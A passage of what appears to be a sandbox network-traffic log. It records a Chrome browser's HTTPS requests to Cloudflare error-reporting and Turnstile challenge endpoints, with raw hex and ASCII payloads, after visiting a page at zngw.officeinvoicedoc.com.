2024-08-28 11:52:39 UTC	1369	IN	Data Raw: 56 55 65 4b 51 59 78 4a 68 6b 74 4b 54 47 6c 6c 55 6d 74 53 55 59 56 34 62 49 52 54 64 31 56 2b 65 33 74 32 70 4a 4f 6b 65 32 57 5a 61 48 36 47 65 36 78 75 67 71 46 73 68 6e 47 4c 6a 48 47 50 6c 37 61 55 6c 36 53 47 72 4c 57 6f 69 6f 71 2b 6f 35 4f 67 6a 35 57 6d 79 4d 57 35 6d 38 47 35 78 5a 71 72 6a 71 57 69 78 4e 48 41 74 74 75 37 75 4b 71 6e 31 61 79 71 72 38 33 64 74 61 2f 6c 30 4c 6e 48 31 63 69 38 37 63 2f 68 77 66 48 70 34 38 4f 2f 37 75 65 72 32 76 44 6f 38 62 58 78 41 66 4c 32 34 66 45 48 35 74 66 38 42 4e 54 49 2f 67 58 4c 7a 2f 72 6b 2b 38 2f 2b 43 42 41 42 34 38 38 55 44 65 63 56 47 50 4c 53 47 2f 62 35 49 69 44 6c 2f 53 51 6b 4b 4f 6e 30 4b 68 63 78 34 69 77 73 48 51 44 72 4c 66 51 7a 4e 66 67 47 38 6a 67 35 46 2f 49 33 41 66 77 46 52 41 51 Data Ascii: VUeKQYxJhktKTGllUmtSUYV4bIRTd1V+e3t2pJOke2WZaH6Ge6xugqFshnGLjHGPl7aUl6SGrLWoioq+o5Ogj5WmyMW5m8G5xZqrjqWixNHAttu7uKqn1ayqr83dta/l0LnH1ci87c/hwfHp48O/7uer2vDo8bXxAfL24fEH5tf8BNTI/gXLz/rk+8/+CBAB488UDecVGPLSG/b5IiDl/SQkKOn0Khcx4iwsHQDrLfQzNfgG8jg5F/I3AfwFRAQ
2024-08-28 11:52:39 UTC	1369	IN	Data Raw: 6d 42 6a 59 56 39 37 5a 6f 32 44 59 47 4e 33 5a 48 4a 32 6c 34 75 64 58 6d 31 76 56 5a 53 57 58 59 61 68 63 58 78 70 61 32 75 46 6a 58 71 49 66 4a 2b 50 64 48 57 44 71 35 4b 44 70 34 65 4e 69 34 74 34 6e 59 71 77 78 62 69 63 6c 70 58 47 73 6f 4b 6f 70 4a 2f 4f 70 61 57 74 71 4b 53 50 30 61 57 50 78 37 69 71 32 73 2b 58 71 70 6a 65 34 39 65 69 76 65 57 2f 32 37 6a 46 74 2b 48 58 76 36 6a 6e 33 63 6e 46 36 4e 32 32 76 37 44 69 38 4f 76 61 32 64 33 6e 74 38 76 36 76 2b 37 64 42 38 48 78 31 75 66 63 78 66 66 38 42 50 30 48 36 63 6f 52 34 2b 51 43 43 64 48 34 38 77 30 52 44 67 6e 72 46 74 30 55 41 53 55 44 2b 50 67 62 4b 76 6a 37 39 53 49 6c 42 2b 6b 44 2f 67 34 70 41 76 45 4c 4b 42 77 6f 44 54 51 59 4d 54 55 31 51 50 55 46 52 6a 31 48 4e 7a 73 4b 4c 43 6f 4a Data Ascii: mBjYV97Zo2DYGN3ZHJ2l4udXm1vVZSWXYahcXxpa2uFjXqIfJ+PdHWDq5KDp4eNi4t4nYqwxbiclpXGsoKopJ/OpaWtqKSP0aWPx7iq2s+Xqpje49eiveW/27jFt+HXv6jn3cnF6N22v7Di8Ova2d3nt8v6v+7dB8Hx1ufcxff8BP0H6coR4+QCCdH48w0RDgnrFt0UASUD+PgbKvj79SIlB+kD/g4pAvELKBwoDTQYMTU1QPUFRj1HNzsKLCoJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49724	35.190.80.1	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:39 UTC	566	OUT	OPTIONS /report/v4?s=%2FV9q5s%2BMNBOJR%2Bqu9f%2BRoaDrFkM206QxIdDqzOh9kr04aH2q7dOKXvPrVVEsNQLtCCvgcejwuRV5HOw%2FXzQLnVsMq8InwJ7AUWcHwYxKOzYIwN7d8IAu%2FWo605Hx0dSvkFY1IaK9gs%2BmhUw%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://zngw.officeinvoicedoc.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:39 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: OPTIONS, POST access-control-allow-origin: * access-control-allow-headers: content-type, content-length date: Wed, 28 Aug 2024 11:52:39 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49726	104.18.95.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:39 UTC	487	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1906365787:1724844454:GaQKsydKI7A_yQ2TDnNHWGK7h8g8w1PRaw3LKq2RrVM/8ba418a1eaa9423b/143f2506b8683a0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:39 UTC	379	IN	HTTP/1.1 404 Not Found Date: Wed, 28 Aug 2024 11:52:39 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: NfFDE9e3qEDRynQbdL0d+6NWblVJH0WC4CU=$eEBAzBPQNz1B31d2 Server: cloudflare CF-RAY: 8ba418b1a8914269-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:39 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49727	35.190.80.1	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:40 UTC	498	OUT	POST /report/v4?s=%2FV9q5s%2BMNBOJR%2Bqu9f%2BRoaDrFkM206QxIdDqzOh9kr04aH2q7dOKXvPrVVEsNQLtCCvgcejwuRV5HOw%2FXzQLnVsMq8InwJ7AUWcHwYxKOzYIwN7d8IAu%2FWo605Hx0dSvkFY1IaK9gs%2BmhUw%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 445 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:40 UTC	445	OUT	Data Raw: 5b 7b 22 61 67 65 22 3a 30 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 37 37 33 2c 22 6d 65 74 68 6f 64 22 3a 22 47 45 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 68 74 74 70 73 3a 2f 2f 7a 6e 67 77 2e 6f 66 66 69 63 65 69 6e 76 6f 69 63 65 64 6f 63 2e 63 6f 6d 2f 44 68 70 75 49 2f 22 2c 22 73 61 6d 70 6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 30 34 2e 32 36 2e 37 2e 31 32 32 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 34 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b Data Ascii: [{"age":0,"body":{"elapsed_time":773,"method":"GET","phase":"application","protocol":"http/1.1","referrer":"https://zngw.officeinvoicedoc.com/DhpuI/","sampling_fraction":1.0,"server_ip":"104.26.7.122","status_code":404,"type":"http.error"},"type":"network
2024-08-28 11:52:40 UTC	168	IN	HTTP/1.1 200 OK Content-Length: 0 date: Wed, 28 Aug 2024 11:52:39 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49728	104.18.94.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:40 UTC	814	OUT	GET /cdn-cgi/challenge-platform/h/b/pat/8ba418a1eaa9423b/1724845959048/37e2e8915285562b3d2d25fd3b458d36ea219cce2f3aded9c8410ad919f331a3/7G2X06VJkRdjJdF HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/igrjo/0x4AAAAAAAg2etgbClhMM46S/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:40 UTC	143	IN	HTTP/1.1 401 Unauthorized Date: Wed, 28 Aug 2024 11:52:40 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 1 Connection: close
2024-08-28 11:52:40 UTC	2015	IN	Data Raw: 77 77 77 2d 61 75 74 68 65 6e 74 69 63 61 74 65 3a 20 50 72 69 76 61 74 65 54 6f 6b 65 6e 20 63 68 61 6c 6c 65 6e 67 65 3d 22 41 41 49 41 47 58 42 68 64 43 31 70 63 33 4e 31 5a 58 49 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 67 4e 2d 4c 6f 6b 56 4b 46 56 69 73 39 4c 53 58 39 4f 30 57 4e 4e 75 6f 68 6e 4d 34 76 4f 74 37 5a 79 45 45 4b 32 52 6e 7a 4d 61 4d 41 47 57 4e 6f 59 57 78 73 5a 57 35 6e 5a 58 4d 75 59 32 78 76 64 57 52 6d 62 47 46 79 5a 53 35 6a 62 32 30 3d 22 2c 20 74 6f 6b 65 6e 2d 6b 65 79 3d 22 4d 49 49 42 55 6a 41 39 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 6f 77 4d 4b 41 4e 4d 41 73 47 43 57 43 47 53 41 46 6c 41 77 51 43 41 71 45 61 4d 42 67 47 43 53 71 47 53 49 62 33 44 51 45 42 43 44 41 4c 42 67 6c 67 68 6b 67 42 5a 51 4d Data Ascii: www-authenticate: PrivateToken challenge="AAIAGXBhdC1pc3N1ZXIuY2xvdWRmbGFyZS5jb20gN-LokVKFVis9LSX9O0WNNuohnM4vOt7ZyEEK2RnzMaMAGWNoYWxsZW5nZXMuY2xvdWRmbGFyZS5jb20=", token-key="MIIBUjA9BgkqhkiG9w0BAQowMKANMAsGCWCGSAFlAwQCAqEaMBgGCSqGSIb3DQEBCDALBglghkgBZQM
2024-08-28 11:52:40 UTC	1	IN	Data Raw: 4a Data Ascii: J

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49730	104.18.94.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:41 UTC	785	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8ba418a1eaa9423b/1724845959050/IWBKf4cfkGAQMfX HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/igrjo/0x4AAAAAAAg2etgbClhMM46S/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:41 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:41 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ba418b95f3e185d-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:41 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 29 00 00 00 48 08 02 00 00 00 e4 aa 4b 5e 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR)HK^IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49731	104.18.95.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:41 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/8ba418a1eaa9423b/1724845959050/IWBKf4cfkGAQMfX HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:41 UTC	200	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:41 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 8ba418bd2ff643d9-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:41 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 29 00 00 00 48 08 02 00 00 00 e4 aa 4b 5e 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR)HK^IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.16	49732	104.18.94.41	443	6964	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 11:52:41 UTC	927	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1906365787:1724844454:GaQKsydKI7A_yQ2TDnNHWGK7h8g8w1PRaw3LKq2RrVM/8ba418a1eaa9423b/143f2506b8683a0 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 32035 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 143f2506b8683a0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/igrjo/0x4AAAAAAAg2etgbClhMM46S/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 11:52:41 UTC	16384	OUT	Data Raw: 76 5f 38 62 61 34 31 38 61 31 65 61 61 39 34 32 33 62 3d 4c 41 64 54 25 32 62 24 4b 6f 2d 76 30 52 41 75 53 68 61 68 61 52 64 39 52 68 45 68 33 68 51 49 73 44 68 71 68 50 49 75 2d 68 62 55 68 4b 49 67 51 57 4b 4b 68 48 6c 6d 68 4b 2d 49 68 4f 68 39 61 2d 51 4e 6c 63 68 45 41 4b 4f 68 55 33 44 49 68 72 7a 51 51 68 32 54 51 6a 4b 57 51 45 64 4b 61 39 52 53 71 50 54 68 32 68 73 30 76 68 73 49 39 6b 68 52 49 4b 59 67 68 4b 7a 49 68 66 4b 66 57 68 4c 69 71 32 4f 49 49 68 4b 6c 54 4b 6a 51 51 35 51 37 67 39 57 68 24 4e 57 73 4c 4f 53 43 68 24 6f 51 4b 53 58 49 5a 55 6c 30 47 4b 51 73 67 4b 24 58 6b 4f 51 68 30 61 6c 68 6e 59 49 57 45 4e 57 68 4b 74 4b 39 67 4b 51 78 68 75 57 68 55 66 38 7a 51 6b 59 76 48 64 52 6c 31 2b 32 52 57 4f 58 63 7a 65 46 44 31 45 73 68 Data Ascii: v_8ba418a1eaa9423b=LAdT%2b$Ko-v0RAuShahaRd9RhEh3hQIsDhqhPIu-hbUhKIgQWKKhHlmhK-IhOh9a-QNlchEAKOhU3DIhrzQQh2TQjKWQEdKa9RSqPTh2hs0vhsI9khRIKYghKzIhfKfWhLiq2OIIhKlTKjQQ5Q7g9Wh$NWsLOSCh$oQKSXIZUl0GKQsgK$XkOQh0alhnYIWENWhKtK9gKQxhuWhUf8zQkYvHdRl1+2RWOXczeFD1Esh
2024-08-28 11:52:41 UTC	15651	OUT	Data Raw: 73 6e 49 59 64 43 68 58 42 59 42 33 69 24 54 24 74 4b 51 68 38 68 72 68 73 54 39 53 68 44 68 4a 54 4b 54 4b 24 44 32 30 67 44 68 6a 79 4a 30 39 74 4b 62 44 73 54 73 6d 4b 6e 68 68 49 67 51 68 70 51 67 49 75 57 68 62 68 72 68 75 53 4b 4c 68 46 49 24 54 68 6f 68 30 74 75 55 68 47 68 72 5a 68 6f 4b 56 43 64 6f 4b 70 35 52 30 69 64 4b 36 4b 64 68 50 42 59 69 68 76 68 4a 51 68 5a 54 63 54 45 74 67 53 4b 59 68 57 49 68 41 68 73 38 46 36 4b 64 4b 76 68 72 74 75 2d 24 73 7a 4b 68 39 41 4b 48 4a 73 42 37 61 4e 67 68 44 67 75 6e 68 6f 54 48 2b 75 4d 4b 43 30 6f 76 75 75 54 58 41 64 68 55 4f 4b 64 68 51 49 32 41 24 24 68 6b 71 39 74 68 55 68 6d 6b 39 68 4b 67 71 45 74 68 4a 2d 32 68 6d 49 51 5a 4b 7a 41 64 49 24 6f 68 63 54 55 6c 39 34 70 36 42 6b 49 45 42 70 57 68 Data Ascii: snIYdChXBYB3i$T$tKQh8hrhsT9ShDhJTKTK$D20gDhjyJ09tKbDsTsmKnhhIgQhpQgIuWhbhrhuSKLhFI$Thoh0tuUhGhrZhoKVCdoKp5R0idK6KdhPBYihvhJQhZTcTEtgSKYhWIhAhs8F6KdKvhrtu-$szKh9AKHJsB7aNghDgunhoTH+uMKC0ovuuTXAdhUOKdhQI2A$$hkq9thUhmk9hKgqEthJ-2hmIQZKzAdI$ohcTUl94p6BkIEBpWh
2024-08-28 11:52:42 UTC	330	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 11:52:42 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 26272 Connection: close cf-chl-gen: pnYDLHA5gJlA5BKV7cw8bCMyZBHO/2r7sDjUIOGmhyoqces8hxfI2giSJipn6YQw+fiCCjKLD1QMCBUi$3tAdm6yG8y5xb7yd Server: cloudflare CF-RAY: 8ba418be79a80f3b-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 11:52:42 UTC	1039	IN	Data Raw: 6a 46 65 42 69 6d 4a 36 58 34 65 4c 5a 32 65 4e 6c 58 5a 70 65 49 31 6b 68 56 69 52 57 31 35 63 6c 56 2b 56 63 71 4a 6a 6c 5a 69 67 65 36 79 42 61 61 4e 72 72 57 71 75 74 70 56 77 6a 6f 57 36 6c 4a 4b 47 6d 33 6d 56 72 72 50 45 72 36 53 78 66 38 4c 48 78 4c 36 55 69 71 53 6e 6d 38 2f 4e 71 71 4b 68 6f 4e 4f 6a 6f 39 69 71 74 4e 50 4f 71 74 61 30 7a 4e 32 2f 6f 71 61 7a 31 38 58 47 75 62 53 6c 34 71 62 73 72 72 71 7a 72 73 71 32 34 4d 54 34 74 75 62 62 74 62 6a 6f 33 67 4c 57 79 37 33 44 41 2b 6a 59 33 72 7a 71 2f 63 72 2b 37 75 58 61 36 38 6f 50 41 2b 72 51 42 66 4d 63 37 51 30 59 38 52 73 4d 34 42 58 30 41 64 63 53 49 51 6a 79 34 68 59 48 44 4f 59 49 4b 69 76 37 4d 69 34 69 37 54 59 5a 4c 76 6f 35 44 78 38 51 47 7a 4d 42 4e 51 54 2b 4d 67 52 41 49 44 4e Data Ascii: jFeBimJ6X4eLZ2eNlXZpeI1khViRW15clV+VcqJjlZige6yBaaNrrWqutpVwjoW6lJKGm3mVrrPEr6Sxf8LHxL6UiqSnm8/NqqKhoNOjo9iqtNPOqta0zN2/oqaz18XGubSl4qbsrrqzrsq24MT4tubbtbjo3gLWy73DA+jY3rzq/cr+7uXa68oPA+rQBfMc7Q0Y8RsM4BX0AdcSIQjy4hYHDOYIKiv7Mi4i7TYZLvo5Dx8QGzMBNQT+MgRAIDN
2024-08-28 11:52:42 UTC	1369	IN	Data Raw: 51 67 34 64 39 6d 4a 57 4d 6d 56 68 67 6a 33 4f 66 5a 70 4f 48 70 57 5a 68 66 35 78 73 68 6f 2b 53 6a 36 75 31 73 34 61 7a 64 36 61 4a 6d 33 71 31 70 37 69 77 76 63 47 52 6d 37 79 38 75 70 4f 2b 6c 71 75 4c 75 73 2b 66 30 4b 72 53 79 64 53 6b 78 38 33 55 72 4d 7a 52 30 4c 58 51 32 64 6a 4d 32 4e 6e 59 74 74 58 64 33 4d 48 6f 77 74 62 4b 78 38 57 38 7a 65 6e 51 77 4c 44 4d 37 39 44 42 77 38 62 77 7a 64 54 64 2f 65 6e 71 2b 65 54 43 76 2b 55 46 33 66 76 39 32 2b 7a 66 37 42 44 4a 79 74 76 78 36 68 66 7a 45 74 44 69 38 4f 66 35 31 76 41 54 32 65 6f 66 37 52 66 34 46 76 63 6e 35 69 6f 70 42 66 6e 71 37 52 38 6f 37 6a 45 55 49 53 49 68 4b 76 45 57 44 76 73 72 47 51 72 33 47 68 6f 6b 52 6a 34 58 4f 54 38 4a 50 51 55 67 47 7a 77 5a 4b 54 4e 4c 4d 6b 59 69 51 79 Data Ascii: Qg4d9mJWMmVhgj3OfZpOHpWZhf5xsho+Sj6u1s4azd6aJm3q1p7iwvcGRm7y8upO+lquLus+f0KrSydSkx83UrMzR0LXQ2djM2NnYttXd3MHowtbKx8W8zenQwLDM79DBw8bwzdTd/enq+eTCv+UF3fv92+zf7BDJytvx6hfzEtDi8Of51vAT2eof7Rf4Fvcn5iopBfnq7R8o7jEUISIhKvEWDvsrGQr3GhokRj4XOT8JPQUgGzwZKTNLMkYiQy
2024-08-28 11:52:42 UTC	1369	IN	Data Raw: 6e 34 70 68 64 6c 5a 76 6a 32 53 45 66 49 70 7a 61 4a 64 35 65 49 2b 68 70 34 57 53 66 6f 61 55 6a 34 69 78 75 4a 6d 57 6b 72 57 56 65 34 36 31 6f 72 53 43 77 4a 36 2b 68 49 61 6b 69 34 61 76 7a 6f 79 74 7a 63 75 6d 69 4b 75 57 79 70 69 79 78 4d 32 63 31 4e 4f 36 71 75 44 54 30 74 53 38 79 4c 66 6c 36 38 62 75 77 4f 43 34 38 73 69 74 77 50 62 4b 35 2b 71 79 7a 2f 58 30 31 4c 57 38 79 64 76 55 7a 66 72 2b 30 39 54 6b 79 66 63 4d 44 41 59 4b 41 4d 67 45 44 74 44 76 45 2b 30 56 39 68 41 45 30 78 76 34 49 42 6b 64 36 74 7a 61 49 78 59 44 2b 2f 49 68 39 52 2f 30 4b 51 55 4e 49 77 55 30 38 50 4c 31 4a 79 51 78 4d 68 4d 51 4f 53 34 51 4f 79 49 4f 51 76 6f 46 47 7a 49 6b 4e 44 38 5a 4e 45 55 46 44 30 67 79 55 53 67 6a 4d 55 45 32 46 31 6c 4a 4f 45 6f 56 54 6c 51 Data Ascii: n4phdlZvj2SEfIpzaJd5eI+hp4WSfoaUj4ixuJmWkrWVe461orSCwJ6+hIaki4avzoytzcumiKuWypiyxM2c1NO6quDT0tS8yLfl68buwOC48sitwPbK5+qyz/X01LW8ydvUzfr+09TkyfcMDAYKAMgEDtDvE+0V9hAE0xv4IBkd6tzaIxYD+/Ih9R/0KQUNIwU08PL1JyQxMhMQOS4QOyIOQvoFGzIkND8ZNEUFD0gyUSgjMUE2F1lJOEoVTlQ
2024-08-28 11:52:42 UTC	1369	IN	Data Raw: 35 4b 47 65 35 70 64 5a 48 69 49 61 71 69 51 6f 58 47 79 73 71 2b 42 62 34 2b 4a 75 33 64 76 72 48 2b 4e 74 4a 4f 34 72 59 31 38 70 63 65 37 69 4c 36 69 6f 36 2b 4c 68 70 2f 4e 77 38 69 65 77 36 75 51 32 62 58 46 79 39 72 4e 79 74 7a 64 74 62 66 67 32 71 2f 46 75 4c 37 70 76 65 7a 6f 35 4b 37 6a 32 71 75 74 31 63 62 51 31 50 66 4b 7a 38 61 36 79 76 4c 58 79 75 44 37 41 77 62 51 78 76 44 47 78 38 45 4e 2f 67 34 4f 38 4f 72 38 41 39 30 55 7a 68 6a 69 42 42 62 30 39 67 77 48 45 75 6e 58 41 52 6e 39 39 76 59 6c 48 79 45 45 48 51 45 43 4b 51 76 68 2f 51 44 71 4c 77 51 50 37 6a 4d 51 44 7a 77 52 4b 68 37 31 4f 76 6f 69 2f 54 73 67 4e 76 35 44 4e 68 38 45 49 54 6f 69 43 69 51 4c 4d 67 74 50 50 77 77 2f 49 6c 42 56 57 42 77 38 4b 6c 70 55 4c 6b 4e 62 55 68 38 68 Data Ascii: 5KGe5pdZHiIaqiQoXGysq+Bb4+Ju3dvrH+NtJO4rY18pce7iL6io6+Lhp/Nw8iew6uQ2bXFy9rNytzdtbfg2q/FuL7pvezo5K7j2qut1cbQ1PfKz8a6yvLXyuD7AwbQxvDGx8EN/g4O8Or8A90UzhjiBBb09gwHEunXARn99vYlHyEEHQECKQvh/QDqLwQP7jMQDzwRKh71Ovoi/TsgNv5DNh8EIToiCiQLMgtPPww/IlBVWBw8KlpULkNbUh8h
2024-08-28 11:52:42 UTC	1369	IN	Data Raw: 71 62 72 71 75 79 71 6e 4b 41 74 71 36 6f 67 4b 36 4e 72 49 32 47 6a 62 2b 32 74 5a 57 7a 6e 48 65 64 78 62 4b 78 6d 37 4f 64 76 4c 6d 33 7a 38 62 4d 76 63 72 51 79 61 71 73 78 4e 76 45 79 61 2b 72 79 2b 48 58 77 37 62 42 70 5a 6a 47 32 61 47 63 77 63 75 6f 34 65 65 6d 78 63 48 63 37 63 44 4d 79 75 62 68 30 4f 76 32 31 75 61 33 37 4e 76 43 38 77 48 67 34 74 73 45 33 4d 62 34 41 73 66 41 34 41 30 45 33 66 49 4b 33 65 54 68 31 52 4c 73 32 41 55 58 47 68 67 65 37 68 54 5a 44 78 6f 5a 42 42 49 48 43 42 6b 61 44 53 34 73 4d 51 41 76 4c 53 49 57 41 44 45 69 4a 78 67 52 4b 51 59 66 44 6a 67 77 48 42 77 2f 42 41 41 77 42 54 38 46 4e 67 59 6b 54 30 34 4e 52 54 52 48 53 67 68 4b 55 7a 52 54 56 44 77 71 55 6a 49 57 58 7a 30 39 4e 56 6b 59 4a 6d 68 42 4b 45 77 2b 59 Data Ascii: qbrquyqnKAtq6ogK6NrI2Gjb+2tZWznHedxbKxm7OdvLm3z8bMvcrQyaqsxNvEya+ry+HXw7bBpZjG2aGcwcuo4eemxcHc7cDMyubh0Ov21ua37NvC8wHg4tsE3Mb4AsfA4A0E3fIK3eTh1RLs2AUXGhge7hTZDxoZBBIHCBkaDS4sMQAvLSIWADEiJxgRKQYfDjgwHBw/BAAwBT8FNgYkT04NRTRHSghKUzRTVDwqUjIWXz09NVkYJmhBKEw+Y
